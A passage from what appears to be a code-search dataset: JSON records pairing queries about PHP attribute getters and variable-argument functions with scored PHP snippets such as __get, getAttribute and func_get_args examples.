'R')\n\t\t\t\t{\n\t\t\t\t\t$var = $this->matchcode[$attribute][0];\n\t\t\t\t\treturn $this->$var;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\terror_log(__FILE__.' name '.$attribute.' not readable');die();\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "b97ea9b7a6d900a6b930e521b5333e12", "score": "0.68345016", "text": "public function __get($key)\n\t{\n\t\treturn $this->getAttribute($key);\n\t}", "title": "" }, { "docid": "0bb2e6d163c04a7bb61fa1b6a65fe9db", "score": "0.68140906", "text": "public function getAttribute($attr_name)\n {\n return false === $this->hasAttribute($attr_name) ? null : $this->attributes[$attr_name];\n }", "title": "" }, { "docid": "ac61d985e071d864d548a8db8c473adb", "score": "0.6812422", "text": "public function __get($name)\n {\n if (array_key_exists($name, $this->_attributes)) {\n return $this->_attributes[$name];\n } else {\n return parent::__get($name);\n }\n }", "title": "" }, { "docid": "872e60b5dc6f1c6ef3eb98b8094ff6bf", "score": "0.6804874", "text": "public function getAttribute($key)\n {\n if (array_key_exists($key, $this->_attribute)) {\n return $this->_attribute[$key];\n }\n }", "title": "" }, { "docid": "9f5d6874e18fd68acd4d668cb07c7394", "score": "0.68024063", "text": "public function get($atributo) {\r\n\t\t\treturn $this->$atributo;\r\n\t\t}", "title": "" }, { "docid": "7d84d95aff4b497ae96c6e3fa7be9d9a", "score": "0.68015695", "text": "public static function attribute()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn Invoke::emitClass('ILLI\\Core\\Std\\Dom\\Attribute', func_get_args());\n\t\t\t}\n\t\t\tcatch(Exception $E)\n\t\t\t{\n\t\t\t\tthrow new ComponentMethodCallException($E, ComponentMethodCallException::ERROR_M_ATTRIBUTE, ['method' => __METHOD__]);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "a27efe37e76a3077f456af8804afb55d", "score": "0.67989224", "text": "function __get($name) {\n if(array_key_exists($name, $this->_prop)) return $this->_prop[$name];\n return $this->attr($name);\n }", "title": "" }, { "docid": "3aab5a53daf2e2a9126115c7152e5231", "score": "0.6798871", "text": "public function getAttribute($key)\n\t{\n\t\t$value = null;\n\t\tif (array_key_exists($key, $this->attributes)) {\n\t\t\tif (array_key_exists($key, $this->attributes)) {\n\t\t\t\t$value = $this->attributes[$key];\n\t\t\t}\n\t\t}\n\t\treturn $value;\n\t}", "title": "" }, { "docid": "121f2936cea4161e34b0d78d0ac51a71", "score": "0.67964065", "text": "public function __get($name)\n\t{\n\t\tif (isset($this->_attributes[$name]))\n\t\t\treturn $this->_attributes[$name];\n\t\treturn null;\n\t}", "title": "" }, { "docid": "4605b2c94803da3695b44787087c8cc8", "score": "0.6789288", "text": "public function __get($atributo) {\n return $this->$atributo;\n }", "title": "" }, { "docid": "365b85b44d3c90e4b52c774a3e115f94", "score": "0.6786316", "text": "public function getAttribute($key)\n {\n\n if (array_key_exists($key, $this->attributes))\n {\n return $this->attributes[$key];\n }\n }", "title": "" }, { "docid": "fdf567f5e3e9d5941205a07a216463b0", "score": "0.67770433", "text": "public function __get($atributo) {\n return $this->$atributo;\n }", "title": "" }, { "docid": "f170dc2887422184ef1ba44dc763b111", "score": "0.6770622", "text": "public function __get($atributo) {\n\t\t\treturn $this->$atributo;\n\t\t}", "title": "" }, { "docid": "482616e789226c225067aa2edd27d501", "score": "0.67692804", "text": "public function getAttribute()\r\n {\r\n return $this->getElement()->getEntityAttribute();\r\n }", "title": "" }, { "docid": "adf29a1fb0cdf5fd5cd83b168d01f163", "score": "0.67599684", "text": "public function getAttribute($attrName) {\n if (!$attrName || !is_string($attrName)) { #bad call\n throw new \\Exception(\"Improper arg for attrName\");\n }\n $attributes = $this->getAllAttributes();\n if (!array_key_exists($attrName,$attributes)) {\n return false;\n }\n return $attributes[$attrName];\n }", "title": "" }, { "docid": "48bd02bb93edc402c83c76033f39ba47", "score": "0.67586476", "text": "function getAttributes()\n {\n }", "title": "" }, { "docid": "795125f0d2b9b519b68ce480883bed89", "score": "0.67512566", "text": "public function getAttribute($attribute)\n\t{\n\t\tif(isset($this->attributes[$attribute]))\n\t\t\treturn $this->attributes[$attribute];\n\n\t\treturn null;\n\t}", "title": "" }, { "docid": "ffc230b3d1bd6497c676d840519b73b9", "score": "0.67437685", "text": "public function __get($attr_name) {\n\t\tif (property_exists(__CLASS__, $attr_name)) {\n\t\t\treturn $this -> $attr_name;\n\t\t}\n\t\t$emess = __CLASS__ . \": unknown member $attr_name (getAttr)\";\n\t\tthrow new Exception($emess, 45);\n\t}", "title": "" }, { "docid": "3647aa36ad1965ba4773405531b30809", "score": "0.6743591", "text": "public function __get($key)\n {\n if (array_key_exists($key, $this->attributes)) {\n return $this->attributes[$key];\n }\n }", "title": "" }, { "docid": "59856fc184b701973b4bf5ebf47aaed4", "score": "0.67405826", "text": "function get_atribute_by_name($name,$name_attr)\n {\n return $this->get_attribute_by_name($name,$name_attr);\n }", "title": "" }, { "docid": "b47bedcac06b6501d1aa3b47ea5685ed", "score": "0.6740204", "text": "public function getAttribute($attribute)\n {\n return $this->connection->getAttribute($attribute);\n }", "title": "" }, { "docid": "bdc32c0947a5572a7157678f11e4e770", "score": "0.67334384", "text": "public function getAttribute(string $attribute)\n {\n return $this->attributes[$attribute] ?? null;\n }", "title": "" }, { "docid": "5524b02fc88823f1a6718e01dc1c863e", "score": "0.67219794", "text": "public function __get($attribute)\n {\n if(property_exists($this, $attribute)) {\n return $this->{$attribute};\n }\n return null;\n }", "title": "" }, { "docid": "5524b02fc88823f1a6718e01dc1c863e", "score": "0.67219794", "text": "public function __get($attribute)\n {\n if(property_exists($this, $attribute)) {\n return $this->{$attribute};\n }\n return null;\n }", "title": "" }, { "docid": "a5262daa09e7258ee2aacc13b55ef08f", "score": "0.6718975", "text": "public function getAttribute()\n {\n return $this->getElement()->getEntityAttribute();\n }", "title": "" }, { "docid": "dd07cae4bdb4a3d03c9ef09a10264a87", "score": "0.6716499", "text": "public function __get($name)\n {\n $name = sprintf('get%sAttribute', Str::studly($name));\n if (method_exists($this, $name)) {\n return $this->{$name}();\n }\n }", "title": "" }, { "docid": "1bb9ee956c5cce4920cee46b5d5998b9", "score": "0.67107826", "text": "public function __get($name) {\n // attribute-reader value\n if(in_array($name, $this->_attrReaders)) {\n return $this->_get($name);\n }\n // call overloading for subclass\n if(method_exists($this, '_get')) {\n return $this->_get($name);\n }\n show_error(\"Unrecognized attribute '$name'\");\n }", "title": "" }, { "docid": "c8d4dd4fe254ea2c01c0e2b4534b5a3f", "score": "0.67030215", "text": "public function __get(string $key)\n {\n return $this->getAttribute($key);\n }", "title": "" }, { "docid": "74e287467e3502233c3c8bd546c78875", "score": "0.6690103", "text": "function getStyleAttribute($attribute, $tag){\n $tmp = $tag->xpath(\"./@\".$attribute);\n return (string) $tmp[0];\n }", "title": "" }, { "docid": "c179e544821e8b25e6d233df11ba8137", "score": "0.66737473", "text": "public function getAttribute($name)\n {\n return isset($this->attributes[$name]) ? $this->attributes[$name] : false;\n }", "title": "" }, { "docid": "0544ca375577d9ba7aa572b9bb244649", "score": "0.6664197", "text": "public function getAttribute($attribute)\n {\n $attributes = $this->xml_value_[0][\"attributes\"];\n return $attributes[$attribute];\n }", "title": "" }, { "docid": "1e010de6e21bbafad359609b161e0f92", "score": "0.66636246", "text": "public function getAttribute($attribute)\n {\n return $this->dbh->getAttribute($attribute);\n }", "title": "" } ]
088405f79cdbe760fe2caa7ba8947b39
make function use func_num_args and func_get_arg to retrieve parameters
[ { "docid": "1b57c323d12586ea675dd1c188b56f69", "score": "0.6733738", "text": "function showAmountContent()\n{\n $numbah = func_num_args();\n $content = func_get_args();\n echo \"amount of arguments is \".$numbah.PHP_EOL;\n echo \"content of arguments is \";\n var_dump($content);\n}", "title": "" } ]
[ { "docid": "55162b61affced3c989bfadbeb920a93", "score": "0.6903883", "text": "function a()\n{\n\t$args = func_get_args();\n\treturn $args;\n}", "title": "" }, { "docid": "595fdf02b8df7ad405d2b5e50992fbb6", "score": "0.6741758", "text": "public function getArgs();", "title": "" }, { "docid": "c3d7425067cebb1d73de2bb983a7fd04", "score": "0.6660765", "text": "public function function_($name, ...$params) { }", "title": "" }, { "docid": "ea319eaf48db7a751c01f0b39ab058ae", "score": "0.6588485", "text": "function get(){\n $var = func_get_args();\n var_dump($var);\n}", "title": "" }, { "docid": "d7bf99129b7d265b9e7f2e1ef774100d", "score": "0.65276796", "text": "function func_get_arg(int $arg_num)\n{\n error_clear_last();\n $result = \\func_get_arg($arg_num);\n if ($result === false) {\n throw FunchandException::createFromPhpError();\n }\n return $result;\n}", "title": "" }, { "docid": "9562d95e160cd49d837889a4fabddeca", "score": "0.65013516", "text": "function soma2(){\n $total = func_get_arg(0)+func_get_arg(1);\n echo $total;\n}", "title": "" }, { "docid": "d06e24b11b3542ee42e334f2070049de", "score": "0.6484035", "text": "abstract protected function params();", "title": "" }, { "docid": "556ba972c3e7309fd91c65672fdeff1a", "score": "0.6482146", "text": "public function READ_args();", "title": "" }, { "docid": "629b2e03860bba12721c66914e96e0e0", "score": "0.61312485", "text": "public function getArguments();", "title": "" }, { "docid": "629b2e03860bba12721c66914e96e0e0", "score": "0.61312485", "text": "public function getArguments();", "title": "" }, { "docid": "629b2e03860bba12721c66914e96e0e0", "score": "0.61312485", "text": "public function getArguments();", "title": "" }, { "docid": "4dfecc18044c1c220ef2ef60f8c7a85e", "score": "0.6110727", "text": "public function params();", "title": "" }, { "docid": "8d3ea03260b717a222ac89e785612659", "score": "0.6052725", "text": "public function getArgs() :array;", "title": "" }, { "docid": "df2c5f4b8773d6131f781d070d3f8f2e", "score": "0.60081565", "text": "function sayHelloV4(){\n $args = func_get_args();\n echo gettype($args) . count($args) . '<br>';\n }", "title": "" }, { "docid": "b1784a0fd05827e7b05acda018baa1c5", "score": "0.59783167", "text": "public function arguments();", "title": "" }, { "docid": "10f15c70f95e965f1acf713f48d94d48", "score": "0.5942819", "text": "static function getParamCount() {\n\t\treturn 1;\n\t}", "title": "" }, { "docid": "c6293722c211bd0f72fb23cf464919d7", "score": "0.59304446", "text": "protected function prepareArgs ($function)\n\t\t{\n\t\t\t$function_args = null;\n\n\t\t\t//if there is a \"(\" in the function name there is at least one argument given\n\t\t\t$function_args = substr($function, strpos($function, \"(\") + 1);\n\t\t\t$function_args = substr($function_args, 0, strrpos($function_args, \")\"));\n\t\t\t$function_args = explode(\",\", $function_args);\n\n\t\t\tforeach ($function_args as &$value)\n\t\t\t{\n\t\t\t\t//trim strip whitespace from the beginning and end of a string\n\t\t\t\t$value = trim($value);\n\n\t\t\t\t//if the arg was pass like this : function('arg')\n\t\t\t\t//we recup the arg like this : \"'arg'\" so we spit the \"'\"\n\t\t\t\t//for a string\n\t\t\t\tif (strpos($value, \"'\") === 0 && strrpos($value, \"'\") === strlen($value)-1)\n\t\t\t\t{\n\t\t\t\t\t$value = substr($value, 1, strlen($value)-2);\n\t\t\t\t}\n\n\t\t\t\t//same thing with '\"arg\"'\n\t\t\t\telse if (strpos($value, '\"') === 0 && strrpos($value, '\"') === strlen($value)-1)\n\t\t\t\t{\n\t\t\t\t\t$value = substr($value, 1, strlen($value)-1);\n\t\t\t\t}\n\n\t\t\t\t// if there is a % at the beginning\n\t\t\t\t// we want to find a variable for example a global variable or an instance\n\t\t\t\telse if (strpos($value, '%') === 0)\n\t\t\t\t{\n\t\t\t\t\t//we strip the % at the beginning of the string\n\t\t\t\t\t$value = substr($value, 1);\n\n\t\t\t\t\t//we try to see if the variable we want is accessible in the global domain\n\t\t\t\t\t// if it's the case we get is value\n\t\t\t\t\tif (array_key_exists($value, self::$_globals))\n\t\t\t\t\t\t$value = self::$_globals[$value];\n\n\t\t\t\t\t//we try to see if we wanna access to an instance's attribut\n\t\t\t\t\telseif (strpos($value, '.') !== FALSE)\n\t\t\t\t\t{\n\t\t\t\t\t\t$table = explode('.', $value);\n\t\t\t\t\t\t//we catch the instance of the argument\n\t\t\t\t\t\t$arg_instance = self::$_globals[$table[0]];\n\t\t\t\t\t\t//we transform the instance into an array and stock it\n\t\t\t\t\t\t$arg_instance_array = (array) $arg_instance;\n\n\t\t\t\t\t\t//if the attribut is present and accessible in the instance\n\t\t\t\t\t\t//we catch is value\n\t\t\t\t\t\tif (array_key_exists($table[1], $arg_instance_array))\n\t\t\t\t\t\t\t$value = $arg_instance_array[$table[1]];\n\t\t\t\t\t\t// in the other case we try to call the method getAttributName\n\t\t\t\t\t\t// to get the value of a protected or private attribut\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$arg_function_name = \"get\".ucfirst($table[1]);\n\n\t\t\t\t\t\t\tif (method_exists($arg_instance, $arg_function_name) && is_callable(array($arg_instance, $arg_function_name)))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$value = call_user_func(array($arg_instance, $arg_function_name));\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tthrow new \\Exception(\"Argument pass is protected or private, and the instance have no method getArgument_name with the name of you're argument instead of Argument_name, the function have to be in camelcase\");\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// if true we are searching a static attribut of an instance\n\t\t\t\t\telseif (strpos($value, '::%'))\n\t\t\t\t\t{\n\t\t\t\t\t\t// get in table an array as : array (Namespace\\ClassName, StaticAttributeName);\n\t\t\t\t\t\t$table = explode('::%', $value);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// we test if the property exist in the class\n\t\t\t\t\t\tif (property_exists($table[0], $table[1]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// the ReflectionClass let us get an array of the static properties\n\t\t\t\t\t\t\t$searchStaticAttribute = new \\ReflectionClass($table[0]);\n\t\t\t\t\t\t\t$listAttribute = $searchStaticAttribute->getStaticProperties();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// if the attribut is here we catch the value\n\t\t\t\t\t\t\tif (array_key_exists($table[1], $listAttribute))\n\t\t\t\t\t\t\t\t$value = $listAttribute[$table[1]];\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tthrow new \\Exception(\"static attribute \".$table[1].\" doesn't exist in class \".$table[0]);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tthrow new \\Exception(\"static attribute \".$table[1].\" doesn't exist in class \".$table[0]);\n\t\t\t\t\t}\n\n\t\t\t\t\t// if true we are searching a static attribut of an instance\n\t\t\t\t\telseif (strpos($value, '::!'))\n\t\t\t\t\t{\n\t\t\t\t\t\t// table is form like this : (NamespaceName\\ClassName, CONSTANT_NAME)\n\t\t\t\t\t\t$table = explode('::!', $value);\n\n\t\t\t\t\t\t// the ReflectionClass let us get an array of the constant properties of a class\n\t\t\t\t\t\t$searchStaticAttribute = new \\ReflectionClass($table[0]);\n\t\t\t\t\t\t$listConstant = $searchStaticAttribute->getConstants();\n\n\t\t\t\t\t\t// if the constant we're looking for is in the array we catch is value \n\t\t\t\t\t\tif (array_key_exists($table[1], $listConstant))\n\t\t\t\t\t\t\t$value = $listConstant[$table[1]];\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tthrow new \\Exception(\"Error : no class constant name '\".$table[1].\"' in class '\".$table[0].\"'\");\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// if true : we're looking for a constant in the global domain\n\t\t\t\telseif (strpos($value, '!') === 0)\n\t\t\t\t{\n\t\t\t\t\t$value = substr($value, 1);\n\n\t\t\t\t\t// we test if the constant exist in the global domain\n\t\t\t\t\t// if true we catch the value with the contant() function \n\t\t\t\t\tif (defined($value))\n\t\t\t\t\t{\n\t\t\t\t\t\t$value = constant($value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ($function_args != null)\n\t\t\t\t$function_args = array_values($function_args);\n\n\t\t\treturn $function_args;\n\t\t}", "title": "" }, { "docid": "25644d5656609a779566e42e2648a2c3", "score": "0.592836", "text": "abstract public function parameters();", "title": "" }, { "docid": "7598995d95ca84ec7ccffba3129a3437", "score": "0.5918717", "text": "static function getParamCount() {\n\t\treturn 2;\n\t}", "title": "" }, { "docid": "7598995d95ca84ec7ccffba3129a3437", "score": "0.5918717", "text": "static function getParamCount() {\n\t\treturn 2;\n\t}", "title": "" }, { "docid": "c45718aae8190df67bf9025239bde4ce", "score": "0.59146607", "text": "function my_action(){\n var_dump(__function__);\n var_dump(func_get_args());\n}", "title": "" }, { "docid": "a9e450f2e7f7098b2b4f6cb503fde8a2", "score": "0.5889112", "text": "public function get_parameters();", "title": "" }, { "docid": "dc526bebd3950920a4ef20a8b65b56f3", "score": "0.5824866", "text": "public function visit_fn_args($args)\n {\n if (!$args) return;\n \n foreach ($args as $arg)\n if ($arg instanceof NamedArg ||\n $arg instanceof RestArg)\n $this->visit($arg->expr);\n else\n $this->visit($arg);\n }", "title": "" }, { "docid": "7ddcc71ad85962333f6d1f6946d82c7d", "score": "0.5814205", "text": "public function EDIT_args();", "title": "" }, { "docid": "f5420af19a4b68d110c4ba5313fe363e", "score": "0.58014417", "text": "function p(){$a = func_get_args();echo '<pre>';foreach($a as $v){var_dump($v);}echo '</pre>';}", "title": "" }, { "docid": "038ba8d5668257f6632a9c7b0fe30be7", "score": "0.5742048", "text": "public function getArguments(): array;", "title": "" }, { "docid": "038ba8d5668257f6632a9c7b0fe30be7", "score": "0.5742048", "text": "public function getArguments(): array;", "title": "" }, { "docid": "038ba8d5668257f6632a9c7b0fe30be7", "score": "0.5742048", "text": "public function getArguments(): array;", "title": "" }, { "docid": "4d951ffc7845efd2555828aaa15cde1a", "score": "0.56971425", "text": "function getParams();", "title": "" }, { "docid": "f2e882df2909c08c4dfd5efa1d9f7fba", "score": "0.5679434", "text": "public static function getParamCount()\n {\n return 1;\n }", "title": "" }, { "docid": "f2e882df2909c08c4dfd5efa1d9f7fba", "score": "0.5679434", "text": "public static function getParamCount()\n {\n return 1;\n }", "title": "" }, { "docid": "78d1e6fde6f1170c5f6fecc090ab9917", "score": "0.56332785", "text": "public function numArgs()\n {\n return $this->count;\n }", "title": "" }, { "docid": "733e20662e20da6b77b765aa4a3a07af", "score": "0.562048", "text": "public function getArguments() : array;", "title": "" }, { "docid": "67f850277824be1629dffd1f99449da7", "score": "0.5509563", "text": "public function getArgumentValues();", "title": "" }, { "docid": "fc117483415e9846916e046061cdce6b", "score": "0.5499758", "text": "function foo3($arg1, $arg2, $arg3) {\n echo $arg1 . ':' . $arg2 . ':' . $arg3;\n}", "title": "" }, { "docid": "20a63928c44c0f561d879eac61db7518", "score": "0.54820067", "text": "abstract public function params($includeToken = true);", "title": "" }, { "docid": "c6d03ada895d37fe6ce1515e972c427b", "score": "0.5480592", "text": "private function _arguments(){\n$args=array();\nfor($i=1;$i<$this->len;$i++){\n$args[]=$this->parts[$i];\n}\nreturn $args;\n}", "title": "" }, { "docid": "ab8e8961329402157646aad78f4d8183", "score": "0.54654986", "text": "public function testDispatchFunctionWithArgs(): void\n {\n $array = ['foo', 'bar'];\n $dispatch = (new Dispatch())\n ->setFunction('count');\n\n self::assertSame(count($array), $this->dispatcher->dispatchFunction($dispatch, [$array]));\n }", "title": "" }, { "docid": "19487ac7491472d048e08da9f011b122", "score": "0.54640496", "text": "function myFunction($arg1,$arg2)\n{\n}", "title": "" }, { "docid": "aad8458b0bf1caa7d707643d15144811", "score": "0.545736", "text": "public static function getArgumentsList(): array;", "title": "" }, { "docid": "ba4fafa17d857ec6c8c7052022b0c987", "score": "0.5457006", "text": "private static function provideParameterArray()\n\t{\n\t $params = array_reverse(func_get_args());\n\t $result = array();\n\t \n\t foreach ($params as $param) {\n\t if (!count($result) && null === $param) {\n\t continue;\n\t }\n\t \n\t $result[] = $param;\n\t }\n\t \n\t return array_reverse($result);\n\t}", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "8c5cf94a9dbc90a63d98236edc80a1b6", "score": "0.5449287", "text": "public function getParams();", "title": "" }, { "docid": "78c74529fd883ea03221c745e1d59362", "score": "0.54221845", "text": "public static function generate_arguments( $hook, $args) {\n\n\n\t\t\t/* loop through arguments and update memory with available data with latest submission */\n\t\t\t$argument_definitions = self::$instance->triggers[$hook]['arguments'];\n\t\t\tforeach ($args as $key => $argument) {\n\n /* Get argument identification id */\n $definition = array_shift($argument_definitions);\n\n /* Place argument data into memory */\n self::$instance->inbound_arguments[$hook][ $definition['id'] ] = self::prepare_mixed_data($argument);\n\n\t\t\t}\n\n\t\t\t/* update inbound arguments dataset with new data */\n\t\t\tself::update_arguments();\n\n\t\t\t/* return arguments */\n\t\t\treturn self::$instance->inbound_arguments[$hook];\n\n\t\t}", "title": "" }, { "docid": "710a40439d1238f06f9e5f212b74205c", "score": "0.541803", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t\t\n\t\t);\n\t}", "title": "" }, { "docid": "710a40439d1238f06f9e5f212b74205c", "score": "0.541803", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t\t\n\t\t);\n\t}", "title": "" }, { "docid": "072b9b496eae472e09c0257ffe3291e1", "score": "0.5415567", "text": "public abstract function getRequiredParameters();", "title": "" }, { "docid": "befea988d37993e4148e49a726c888a7", "score": "0.5407695", "text": "public function getParameters();", "title": "" }, { "docid": "befea988d37993e4148e49a726c888a7", "score": "0.5407695", "text": "public function getParameters();", "title": "" }, { "docid": "befea988d37993e4148e49a726c888a7", "score": "0.5407695", "text": "public function getParameters();", "title": "" }, { "docid": "befea988d37993e4148e49a726c888a7", "score": "0.5407695", "text": "public function getParameters();", "title": "" }, { "docid": "befea988d37993e4148e49a726c888a7", "score": "0.5407695", "text": "public function getParameters();", "title": "" }, { "docid": "befea988d37993e4148e49a726c888a7", "score": "0.5407695", "text": "public function getParameters();", "title": "" }, { "docid": "befea988d37993e4148e49a726c888a7", "score": "0.5407695", "text": "public function getParameters();", "title": "" }, { "docid": "befea988d37993e4148e49a726c888a7", "score": "0.5407695", "text": "public function getParameters();", "title": "" }, { "docid": "bf8b02968f6eac2cf0877c53d18f735b", "score": "0.5403316", "text": "private function arguments(){\n$args=array();\nfor($i=2;$i<$this->len;$i++){\n$args[]=$this->parts[$i];\n}\nreturn $args;\n}", "title": "" }, { "docid": "3af3874912613c9df69fb830ac8de44d", "score": "0.5395643", "text": "function functionName($arg1, $arg2, $arg3)\n{\n $body = [$arg1, $arg2, $arg3];\n return $body;\n}", "title": "" }, { "docid": "95675c1ef0ee97acd204db88a7aaa042", "score": "0.5392569", "text": "public function params () {\n\t\t$keys = func_get_args ();\n\t\treturn array_combine ($keys, $this->params);\n\t}", "title": "" }, { "docid": "20a7ddd7b959647ceec98672d8f246c4", "score": "0.53891444", "text": "protected function getArguments()\n\t{\n\t\treturn [\n\t\t];\n\t}", "title": "" }, { "docid": "8e230f63b237c3347ea34d9636751570", "score": "0.5381079", "text": "function nthArg(int $n)\n{\n return function (...$args) use ($n) {\n $size = \\count($args);\n\n if ($size <= 0) return null;\n\n $fPost = ($n < 0 ? $size + $n : $n);\n\n if ($fPost >= $size) return $args[$size - 1];\n\n if ($fPost <= -$size) return $args[0];\n\n return $args[$fPost];\n };\n}", "title": "" }, { "docid": "e1ebe91012f49e90d2f743b21f92f756", "score": "0.53665173", "text": "public function numParameters() {\n return parent::numParameters() - (NULL === $this->generic ? 0 : 1 + substr_count($this->generic, ','));\n }", "title": "" }, { "docid": "5182c3e3e02de0ece9fe1e82799bc988", "score": "0.5364824", "text": "function getArguments(&$id, &$token) {\n\t$id = $_POST['id'];\n\t$token = $_POST['token'];\n\n\t// DEBUG : using get for test\n\t//$id = $_GET['id'];\n\t//$token = $_GET['token'];\n}", "title": "" }, { "docid": "8a72e565a9da22c89b70110f665f815e", "score": "0.53546816", "text": "public function getInvokeParams()\n {\n $parts = $this->_parseReference();\n\n $args = explode(',', $parts['args']);\n $f = function($item) {\n $item = trim($item);\n return $item;\n };\n\n return array_map($f, $args);\n }", "title": "" }, { "docid": "680c33a95317d6bf2cc6264ed6744715", "score": "0.5353404", "text": "function getArgs() {\n $args = explode('/', rtrim($_SERVER['REQUEST_URI'], '/'));\n //get rid of a couple of un-used parameters\n $endpoint = array_shift($args);\n if (array_key_exists(0, $args) && !is_numeric($args[0])) {\n $verb = array_shift($args);\n }\n return $args;\n}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "d0fa0b4bc6e2f152165b33c7671c9a46", "score": "0.5341789", "text": "protected function getArguments()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "title": "" }, { "docid": "a05f3a92075b2f2a163b989b813b5e9a", "score": "0.53400946", "text": "public function get(...$args);", "title": "" }, { "docid": "f23032e6086da610ada52ea4bc5ac819", "score": "0.53315926", "text": "protected function getArguments()\n\t{\n\t\treturn array();\n\t}", "title": "" }, { "docid": "f23032e6086da610ada52ea4bc5ac819", "score": "0.53315926", "text": "protected function getArguments()\n\t{\n\t\treturn array();\n\t}", "title": "" }, { "docid": "f23032e6086da610ada52ea4bc5ac819", "score": "0.53315926", "text": "protected function getArguments()\n\t{\n\t\treturn array();\n\t}", "title": "" }, { "docid": "f23032e6086da610ada52ea4bc5ac819", "score": "0.53315926", "text": "protected function getArguments()\n\t{\n\t\treturn array();\n\t}", "title": "" }, { "docid": "f23032e6086da610ada52ea4bc5ac819", "score": "0.53315926", "text": "protected function getArguments()\n\t{\n\t\treturn array();\n\t}", "title": "" }, { "docid": "f23032e6086da610ada52ea4bc5ac819", "score": "0.53315926", "text": "protected function getArguments()\n\t{\n\t\treturn array();\n\t}", "title": "" }, { "docid": "6a46bd74412d04b60051011aead0145d", "score": "0.5323798", "text": "public function countArguments()\n\t{\n\t\t$count = 0;\n\t\tforeach ($this->attributes as $att) $count++;\n\t\treturn $count;\n\t}", "title": "" }, { "docid": "3030c5aa3e76ec2651dd4a3930abf643", "score": "0.5307967", "text": "protected function getArguments()\n\t{\n\t\treturn [\n\n\t\t];\n\t}", "title": "" }, { "docid": "854154f71f802c5485c3ce0f38c09156", "score": "0.530474", "text": "public function getArgs()\n {\n return $this->arguments;\n }", "title": "" }, { "docid": "4f4d0fc5d981dca4d4fdc08343a2801d", "score": "0.53039086", "text": "function add_action(...$args) {\n $count_ = func_num_args();\n return \\Proxyz\\callFunction(__FUNCTION__, array_slice($args, 0, $count_));\n}", "title": "" }, { "docid": "bbae6acad235356db98c1eded35f931b", "score": "0.52831554", "text": "public abstract function goodConstructorArgumentsProvider();", "title": "" }, { "docid": "717c6c1df3872c50ecde839ec03f7c2b", "score": "0.5272463", "text": "public function arity(){\n\t\t$parameters = $this->getParameters();\n\t\t$parameterCount = $this->getNumberOfParameters();\n\t\t$optionalParameterCount = array_reduce($parameters, function($result, $parameter){\n\t\t\treturn $result + ( ( $parameter->isDefaultValueAvailable() && $parameter->getDefaultValue() == RMethod::VARIABLE_PARAMETERS ) || $parameter->isPassedByReference() ? 1 : 0 );\n\t\t}, 0);\n\t\t$requiredParameterCount = $parameterCount - $optionalParameterCount;\n\t\tif( $optionalParameterCount 